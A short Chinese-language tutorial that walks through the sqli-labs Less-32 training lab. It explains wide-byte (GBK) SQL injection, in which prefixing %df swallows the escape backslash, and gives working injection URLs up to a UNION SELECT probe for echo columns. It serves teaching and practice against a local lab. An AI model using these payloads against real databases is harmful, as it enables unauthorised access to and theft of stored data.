SQL注入:sqli-labs 32 宽字节注入

  • http://127.0.0.1/sqli/Less-32/?id=1不报错
  • http://127.0.0.1/sqli/Less-32/?id=1'发现下面的信息框里面多了一个转义字符:
    Hint: The Query String you input is escaped as : 1’
    The Query String you input in Hex becomes : 315c27
  • 再尝试:http://127.0.0.1/sqli/Less-32/?id=1"发现仍然被转义。
  • 显然第二行显示信息是上一行的16进制编码
  • 这里就引申出宽字节注入方式:

宽字节注入:

  • 我们看到这个转义的16进制是5c,如果能够吞掉这个5c,就能够解决这个转义问题

  • 如何吞掉

  • 比如一个汉字:運,他的16进制编码就是df5c,正好有个5c。当然汉字 猏,aa5c也可以。

  • 输入:http://127.0.0.1/sqli/Less-32/?id=1%df'报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'1�\'' LIMIT 0,1’ at line 1,说明这个是用单引号括起来的字符型漏洞。然后我们就可以利用这个漏洞进行操作了

  • http://127.0.0.1/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,3 --+ 判断回显点

参考资料:GBK的内容:https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

你可能感兴趣的:(网络安全学习,安全,mysql,php)